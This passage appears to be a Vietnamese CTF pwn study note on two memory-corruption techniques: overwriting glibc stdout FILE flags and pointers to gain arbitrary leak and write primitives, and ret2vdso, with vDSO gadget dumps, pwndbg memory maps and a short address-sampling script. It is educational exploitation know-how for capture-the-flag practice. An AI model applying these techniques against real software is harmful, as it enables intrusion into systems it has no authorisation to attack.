- ``if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)`` cần return **False**
- ``_IO_write_base == NULL`` luôn return **False** vì nó trỏ đến vùng libc_area
- ``_IO_CURRENTLY_PUTTING`` là 0x0800, có nghĩa ``stdout->_flags & 0x0800`` cần = 1
- ``if (ch == EOF)`` cần return **True**
- luôn thoã mãn vì **puts** luôn set **ch** thành **EOF**

- đến hàm ``new_do_write``, ta cần skip điều kiện **if** thứ 2:
- ``if (fp->_flags & _IO_IS_APPENDING)`` cần return **True**
- ``_IO_IS_APPENDING`` là 0x1000, nên ``stdout->_flags & 0x1000`` cần = 1

===> dựa trên các ràng buộc trên, value cần cho ``stdout->_flags`` là 0x1800
- target to bypass:
```c
#define _IO_MAGIC 0xFBAD0000
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_NO_WRITES 0x0008
_flags & _IO_NO_WRITES == 0
_flags & _IO_CURRENTLY_PUTTING == 1
_flags & _IO_IS_APPENDING == 1
```
## target to leak
``write(1, _IO_write_base, _IO_write_ptr - _IO_write_base)``
:::info
🎯 ow the ``stdout->_flags`` with 0x1800
>``stdout->_IO_MAGIC`` still 0xfbad (or not)
🎯 ow the last byte of ``stdout->_IO_write_ptr`` to be larger than ``stdout->_IO_write_base``
🎯 specific leaking:
👉 ``_IO_write_base`` , ``_IO_read_end`` , ``_IO_read_base`` , ``_IO_read_ptr``
> is ptr have addr we want to leak
👉 ``_IO_write_ptr`` , ``_IO_write_end`` , ``_IO_buf_base`` , ``_IO_buf_end``
>is ptr + x (leak x bytes)
👉 ``_IO_fileno`` = ``0x1`` #stdout
🤌 ptr must be writeable addr
:::
- examble:
- [HTB Apocalypse 2023 Math Door](https://hackmd.io/@trhoanglan04/ryRRPyhxT#Math-Door)
## warning
- kỹ thuật nãy có thể áp dụng lên nhiều phiên bản libc mới (tất nhiên cách áp dụng sẽ khó khăn hơn)
- vì từ glibc 2.35, chuyển từ cấp phát **buffer** trên libc sang heap
- ta vẫn có thể thay đổi điều đó bằng GOT, cũng như thay đổi cả ``f->_IO_write_ptr`` (vì nó tính size cho output)
- ngoài **puts**, hàm nhận input như **gets** vẫn gọi đến ``_IO_OVERFLOW``
---> still available to use this technique
## target to write
```
_IO_MAGIC(0xfbad0000)
+ _IO_IS_FILEBUF(0x2000)
+ _IO_TIED_PU_GET(0x400)
+ _IO_LINKED(0x80)
+ _IO_NO_WRITES(0x8)
```
``read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);``
:::info
🎯 ow the ``stdout->_flags`` with 0x2488
>``stdout->_IO_MAGIC`` still 0xfbad (or not)
🎯 ow the last byte of ``stdout->_IO_buf_base`` to be larger than ``stdout->_IO_buf_end``
🎯 specific write:
👉 ``_IO_buf_base``
> is ptr have addr we want to write
👉 ``_IO_buf_end``
>is ptr + x (read x bytes)
👉 ``_IO_fileno`` = ``0x0`` #stdin
🤌 ptr must be writeable addr
:::
# RET2VDSO
- ret2vdso thường xuất hiện nhiều ở 32-bit programs
- là một kỹ thuật tấn công BOF (nhưng có liên quan đến kernel)
## Preliminary knowledge
- [fap sư Trung Hoa](https://xz.aliyun.com/t/5236?time__1311=n4%2BxnD07itGQZ4QqD5DsA3xCqxrYDc0Oe8YD&alichlgref=https%3A%2F%2Fwww.google.com%2F)
- [CTF-Wiki](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2vdso/)
- [lwn.net](https://lwn.net/Articles/18414/)
- [ret2vdso using AUX Vectors](https://www.voidsecurity.in/2014/12/return-to-vdso-using-elf-auxiliary.html)
### vdso
- **VDSO** (Virtual Dynamically-linked Shared Object)
> chứa các hàm được cung cấp bởi kernel
> có thể được gọi từ `user space`
> [link](https://man7.org/linux/man-pages/man7/vdso.7.html)
- ``int 0x80`` truyền thống được xem là chậm
> cause a lot of overhead in switching between `user mode` and `kernel mode`
- các processors khác nhau sẽ dùng fast system call instructions khác nhau
- Intel triển khai `sysenter/sysexit`
- AMD triển khai `syscall/sysret`
- sử dụng chúng nhanh hơn nhưng cũng gây các vấn đề tương thích
- nên Linux đã triển khai `vsyscall`
> system call uniformly
> specific choice is determined by the kernel
===> implement `vsyscall` is in vDSO
- execute `ldd /bin/sh` in kernel 2.6 or upper, u wil find a dynamic file named **linux-vdso.so.1**
> older version is **linux-gate.so.1**
```bash
$ ldd /bin/sh
linux-vdso.so.1 => (0x00007fff2f9ff000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f28d5b36000)
/lib64/ld-linux-x86-64.so.2 (0x00007f28d5eca000)
```
- address của **linux-gate.so.1** là `0xffffe000`, nhưng với kernel đời mới hơn sẽ cung cấp chức năng đánh dấu random addressization
### vdso_x64
- take a look at built-in fucntions
```bash
hlaan@ubuntu:~/test$ objdump -T vdso_x64.so
vdso_x64.so: file format elf64-x86-64
DYNAMIC SYMBOL TABLE:
0000000000000a30 w DF .text 0000000000000305 LINUX_2.6 clock_gettime
0000000000000d40 g DF .text 00000000000001c1 LINUX_2.6 __vdso_gettimeofday
0000000000000d40 w DF .text 00000000000001c1 LINUX_2.6 gettimeofday
0000000000000f10 g DF .text 0000000000000015 LINUX_2.6 __vdso_time
0000000000000f10 w DF .text 0000000000000015 LINUX_2.6 time
0000000000000a30 g DF .text 0000000000000305 LINUX_2.6 __vdso_clock_gettime
0000000000000000 g DO *ABS* 0000000000000000 LINUX_2.6 LINUX_2.6
0000000000000f30 g DF .text 000000000000002a LINUX_2.6 __vdso_getcpu
0000000000000f30 w DF .text 000000000000002a LINUX_2.6 getcpu
```
- take a look at gadget
```bash
hlaan@ubuntu:~/test$ ROPgadget --binary vdso_x64.so
Gadgets information
============================================================
0x00000000000008b8 : adc byte ptr [r11], r8b ; add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x00000000000008b9 : adc byte ptr [rbx], al ; add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x000000000000098b : add bl, byte ptr [rbp - 0x3d] ; mov rax, rdx ; pop rbp ; ret
0x0000000000000a23 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000000a25 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000000008be : add cl, byte ptr [rsi + 0xa] ; ret
0x00000000000008bb : add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000a18 : add eax, 0xffffc66b ; pop rbp ; ret
0x00000000000008ba : add eax, dword ptr [rdx] ; jbe 0x91d ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000c23 : add edx, eax ; jmp 0xbb4
0x0000000000000c22 : add r10, rax ; jmp 0xbb5
0x0000000000000d78 : and al, 0xf6 ; ret
0x0000000000000f52 : call 0x3106986a
0x0000000000000b26 : call 0xffffffffc9ff487c
0x0000000000000aab : clc ; ret
0x0000000000000d84 : cld ; ret 0xffff
0x0000000000000a16 : cmovae eax, dword ptr [rip - 0x3995] ; pop rbp ; ret
0x0000000000000a15 : cmovae rax, qword ptr [rip - 0x3995] ; pop rbp ; ret
0x0000000000000988 : cmp edx, eax ; ja 0x993 ; pop rbp ; ret
0x0000000000000987 : cmp rdx, rax ; ja 0x994 ; pop rbp ; ret
0x0000000000000986 : dec dword ptr [rax + 0x39] ; ret 0x277
0x0000000000000c1d : dec dword ptr [rax + 0xf] ; scasd eax, dword ptr [rdi] ; ret 0x149
0x0000000000000ec5 : dec dword ptr [rcx + 0x16158b16] ; ret 0xffff
0x0000000000000c1f : imul eax, edx ; add r10, rax ; jmp 0xbb8
0x0000000000000c1e : imul rax, rdx ; add r10, rax ; jmp 0xbb9
0x000000000000098a : ja 0x991 ; pop rbp ; ret
0x00000000000008bc : jbe 0x91b ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000f1e : je 0xf29 ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000fdf : jmp qword ptr [rdi]
0x0000000000000aa9 : lea esp, dword ptr [rdx - 8] ; ret
0x0000000000000aa8 : lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000a21 : mov dword ptr [rdi], 0 ; pop rbp ; ret
0x0000000000000f21 : mov dword ptr [rdi], eax ; pop rbp ; ret
0x0000000000000f54 : mov dword ptr [rsi], eax ; xor eax, eax ; pop rbp ; ret
0x000000000000098f : mov eax, edx ; pop rbp ; ret
0x0000000000000f1c : mov ebp, esp ; je 0xf2b ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000f20 : mov qword ptr [rdi], rax ; pop rbp ; ret
0x000000000000098e : mov rax, rdx ; pop rbp ; ret
0x0000000000000f1b : mov rbp, rsp ; je 0xf2c ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000aa3 : pop r13 ; pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000aa5 : pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x00000000000008bd : pop rax ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000aa7 : pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000aa4 : pop rbp ; pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x000000000000098c : pop rbp ; ret
0x0000000000000aa6 : pop rsi ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000f3f : push qword ptr [rdx + rcx - 0x77] ; ret 0xe281
0x00000000000008c1 : ret
0x0000000000000c21 : ret 0x149
0x0000000000000989 : ret 0x277
0x0000000000000b3c : ret 0x4801
0x0000000000000e64 : ret 0x53e9
0x0000000000000c24 : ret 0x8ceb
0x0000000000000c4e : ret 0xc2e9
0x0000000000000f43 : ret 0xe281
0x0000000000000d85 : ret 0xffff
0x0000000000000a20 : rol bh, 7 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000000090f : ror dword ptr [rdx], 1 ; ret
0x0000000000000c20 : scasd eax, dword ptr [rdi] ; ret 0x149
0x0000000000000f51 : shr eax, 0xc ; mov dword ptr [rsi], eax ; xor eax, eax ; pop rbp ; ret
0x0000000000000a1f : xor eax, eax ; mov dword ptr [rdi], 0 ; pop rbp ; ret
0x0000000000000f56 : xor eax, eax ; pop rbp ; ret
Unique gadgets found: 62
```
- 62 gadget tổng cộng, nhưng chả có cái nào hữu ích
### vdso_x86
- nhưng với 32bit nó hoàn toàn khác
```bash
hlaan@ubuntu:~/test$ objdump -T vdso_x86.so
vdso_x86.so: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00001050 g DF .text 0000000d LINUX_2.5 __kernel_vsyscall
00000d50 g DF .text 000002b2 LINUX_2.6 __vdso_gettimeofday
00001070 g DF .text 00000009 LINUX_2.5 __kernel_sigreturn
00001010 g DF .text 00000028 LINUX_2.6 __vdso_time
00000000 g DO *ABS* 00000000 LINUX_2.5 LINUX_2.5
00001080 g DF .text 00000008 LINUX_2.5 __kernel_rt_sigreturn
00000820 g DF .text 0000052f LINUX_2.6 __vdso_clock_gettime
00000000 g DO *ABS* 00000000 LINUX_2.6 LINUX_2.6
```
- thấy rằng có `__kernel_rt_sigreturncalls` nghĩa là có thể dùng [SROP](https://hackmd.io/@trhoanglan04/stack_pivot#SROP)
- take a look at gadget
```bash
hlaan@ubuntu:~/test$ ROPgadget --binary vdso_x86.so
Gadgets information
============================================================
0x00000817 : adc al, 0x31 ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x000007e4 : adc al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x00000619 : adc byte ptr [ebp + 0xec54704], al ; or al, 0x41 ; ret 0x80e
0x00001039 : add al, 0x24 ; ret
0x0000061b : add al, 0x47 ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x0000107f : add byte ptr [eax + 0xad], bh ; int 0x80
0x0000107d : add byte ptr [eax], al ; add byte ptr [eax + 0xad], bh ; int 0x80
0x0000107c : add byte ptr [eax], al ; add byte ptr [eax], al ; mov eax, 0xad ; int 0x80
0x00000e3f : add byte ptr [eax], al ; add esp, 0x5c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001074 : add byte ptr [eax], al ; int 0x80
0x0000107e : add byte ptr [eax], al ; mov eax, 0xad ; int 0x80
0x00000e40 : add byte ptr [ebx + 0x5e5b5cc4], al ; pop edi ; pop ebp ; ret
0x000010ab : add byte ptr [ebx], al ; add eax, dword ptr [ebx] ; ret
0x00001032 : add cl, byte ptr [ecx - 0x3ca2a4f6] ; mov eax, dword ptr [esp] ; ret
0x000010ad : add eax, dword ptr [ebx] ; ret
0x000007e2 : add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000815 : add esp, 0x14 ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000e41 : add esp, 0x5c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000967 : add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000087c : add esp, 0x6c ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000103e : and al, 0xc3 ; mov ebx, dword ptr [esp] ; ret
0x0000103a : and al, 0xc3 ; mov ecx, dword ptr [esp] ; ret
0x00001042 : and al, 0xc3 ; mov edi, dword ptr [esp] ; ret
0x00000801 : and byte ptr [edi], cl ; inc ebp ; ret 0x450f
0x0000073c : call 0x1046
0x00001141 : call 0x340ff6d2
0x000007d5 : call dword ptr [ecx]
0x000007f0 : cli ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001045 : cmp al, 0x24 ; ret
0x0000071f : cmp esi, eax ; ja 0x71e ; pop esi ; pop edi ; pop ebp ; ret
0x000007cf : dec dword ptr [ebx - 0x32c37d] ; call dword ptr [ecx]
0x00001030 : enter 0x274, -0x77 ; or bl, byte ptr [ebx + 0x5d] ; ret
0x00000974 : fmul qword ptr [ebx - 0x32cb61] ; push esi ; ret
0x00000722 : hlt ; pop esi ; pop edi ; pop ebp ; ret
0x00001143 : in eax, 0xf ; xor al, 0x89 ; int 0xf
0x00001054 : in eax, 0xf ; xor al, 0xcd ; sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00000973 : inc ebp ; fmul qword ptr [ebx - 0x32cb61] ; push esi ; ret
0x00000803 : inc ebp ; ret 0x450f
0x00000620 : inc ecx ; ret 0x80e
0x0000061c : inc edi ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00000969 : insb byte ptr es:[edi], dx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000087e : insb byte ptr es:[edi], dx ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001057 : int 0x80
0x00001147 : int 0xf
0x00001072 : ja 0x1078 ; add byte ptr [eax], al ; int 0x80
0x00000721 : ja 0x71c ; pop esi ; pop edi ; pop ebp ; ret
0x000007e0 : jb 0x7f3 ; add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000715 : jbe 0x728 ; mov eax, esi ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x00001031 : je 0x103b ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x0000061d : lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00000968 : les ebp, ptr [ebx + ebx*2 + 0x5e] ; pop edi ; pop ebp ; ret
0x0000087d : les ebp, ptr [ecx + esi - 0x40] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000e42 : les ebx, ptr [ebx + ebx*2 + 0x5e] ; pop edi ; pop ebp ; ret
0x000007e3 : les edx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x00000816 : les edx, ptr [ecx + esi] ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x0000113f : lfence ; mov ebp, esp ; sysenter
0x0000113c : mfence ; lfence ; mov ebp, esp ; sysenter
0x00001033 : mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x00001071 : mov eax, 0x77 ; int 0x80
0x00001080 : mov eax, 0xad ; int 0x80
0x00001038 : mov eax, dword ptr [esp] ; ret
0x0000102f : mov eax, ecx ; je 0x103d ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x00000717 : mov eax, esi ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x000007ed : mov eax, esi ; mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001053 : mov ebp, esp ; sysenter
0x00001040 : mov ebx, dword ptr [esp] ; ret
0x00000965 : mov ebx, edx ; add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000103c : mov ecx, dword ptr [esp] ; ret
0x00001044 : mov edi, dword ptr [esp] ; ret
0x00000719 : mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x000007ef : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000792 : movsd dword ptr es:[edi], dword ptr [esi] ; ret 0xf631
0x0000104c : nop ; nop ; nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000106d : nop ; nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104d : nop ; nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000106e : nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104e : nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000106f : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104f : nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000103d : or al, 0x24 ; ret
0x0000061f : or al, 0x41 ; ret 0x80e
0x00001034 : or bl, byte ptr [ebx + 0x5d] ; ret
0x000007e1 : or byte ptr [ebx + 0x5e5b14c4], al ; pop edi ; pop ebp ; ret
0x00000716 : or byte ptr [ecx + 0x5eca89f0], cl ; pop edi ; pop ebp ; ret
0x00001070 : pop eax ; mov eax, 0x77 ; int 0x80
0x00001059 : pop ebp ; pop edx ; pop ecx ; ret
0x0000071d : pop ebp ; ret
0x00001035 : pop ebx ; pop ebp ; ret
0x000007e5 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000105b : pop ecx ; ret
0x0000071c : pop edi ; pop ebp ; ret
0x0000105a : pop edx ; pop ecx ; ret
0x0000071b : pop esi ; pop edi ; pop ebp ; ret
0x00000e43 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000618 : push cs ; adc byte ptr [ebp + 0xec54704], al ; or al, 0x41 ; ret 0x80e
0x0000061e : push cs ; or al, 0x41 ; ret 0x80e
0x00001052 : push ebp ; mov ebp, esp ; sysenter
0x0000073b : push ebx ; call 0x1047
0x00001050 : push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x00000739 : push edi ; push esi ; push ebx ; call 0x1049
0x00001051 : push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000073a : push esi ; push ebx ; call 0x1048
0x000008c2 : push esi ; ret
0x00000819 : rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x0000071e : ret
0x00000804 : ret 0x450f
0x000007b4 : ret 0x458b
0x00000b77 : ret 0x5d8b
0x00000ecf : ret 0x7d8b
0x00000621 : ret 0x80e
0x00000793 : ret 0xf631
0x000008c8 : ret 2
0x00000966 : rol dword ptr [ebx + 0x5e5b6cc4], cl ; pop edi ; pop ebp ; ret
0x0000102e : ror byte ptr [ecx - 0x76fd8b38], cl ; or bl, byte ptr [ebx + 0x5d] ; ret
0x00001041 : sbb al, 0x24 ; ret
0x00001058 : sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00001140 : scasb al, byte ptr es:[edi] ; call 0x340ff6d3
0x00000926 : shl dword ptr [eax], 0xf ; inc ebp ; ret 0x450f
0x00001055 : sysenter
0x0000061a : test dword ptr [edi + eax*2], eax ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00001145 : xor al, 0x89 ; int 0xf
0x00001056 : xor al, 0xcd ; sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00000818 : xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
Unique gadgets found: 123
```
- dõ dàng nhiều hơn 64bit
> chú ý vdso sẽ khác nhau với kernel khác nhau
## Use ideas
- vì kernel khác nhau nên vdso (random) sẽ khác nhau
- nếu ta có thể read vdso ---> we can use it
### Randomization features of vdso
- nếu mà so sánh với stack hay ASLR, thì vdso randomization rất yếu
- file 32bit thì 1/256 trúng
```pwndbg
pwndbg> stack
78:01e0│ 0xffffcf20 —▸ 0xf7fd5050 (__kernel_vsyscall) ◂— push ecx
79:01e4│ 0xffffcf24 ◂— 0x21 /* '!' */
7a:01e8│ 0xffffcf28 —▸ 0xf7fd4000 ◂— jg 0xf7fd4047
7b:01ec│ 0xffffcf2c ◂— 0x10
7c:01f0│ 0xffffcf30 ◂— 0xbfebfbff
7d:01f4│ 0xffffcf34 ◂— 0x6
7e:01f8│ 0xffffcf38 ◂— 0x1000
7f:01fc│ 0xffffcf3c ◂— 0x11
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56555000 0x56556000 r-xp 1000 0 /home/ex/test/vdso_addr
0x56556000 0x56557000 r--p 1000 0 /home/ex/test/vdso_addr
0x56557000 0x56558000 rw-p 1000 1000 /home/ex/test/vdso_addr
0xf7dd6000 0xf7fab000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7fab000 0xf7fac000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fae000 r--p 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7faf000 rw-p 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faf000 0xf7fb2000 rw-p 3000 0
0xf7fcf000 0xf7fd1000 rw-p 2000 0
0xf7fd1000 0xf7fd4000 r--p 3000 0 [vvar]
0xf7fd4000 0xf7fd6000 r-xp 2000 0 [vdso]
0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r--p 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rw-p 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdc000 0xffffe000 rw-p 22000 0 [stack]
```
>thấy rằng địa chỉ vdso_base nằm trên stack
>nhưng cách $esp khá xa (tận 0x1e8)
- ta có thể viết 1 program C basic in ra vdso_addr rồi loop bằng cách dùng script python
```c
// compiled: gcc -g -m32 vdso_addr.c -o vdso_addr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
printf ( "vdso addr: %124$p \n " );
return 0 ;
}
```
> chú ý, offset sẽ thay đổi
- script
```py
#!/usr/bin/python3
import os
result = []
for i in range (100):
result += [ os.popen('./vdso_addr').read()[:-1]]
result = sorted(result)
for v in result:
print(v)
```
## exploit ideas
- leaked vdso
- Using vdso for ROP
## writeup some ret2vdso
- https://github.com/firmianay/CTF-All-In-One/blob/master/doc/4.15_vsyscall_vdso.md
- [DEFCON_CTF_2015_fuckup](https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.6_pwn_defconctf2015_fuckup.md)
- https://bbs.kanxue.com/thread-276433.htm
- [CTFHUB](https://bbs.kanxue.com/thread-276433.htm)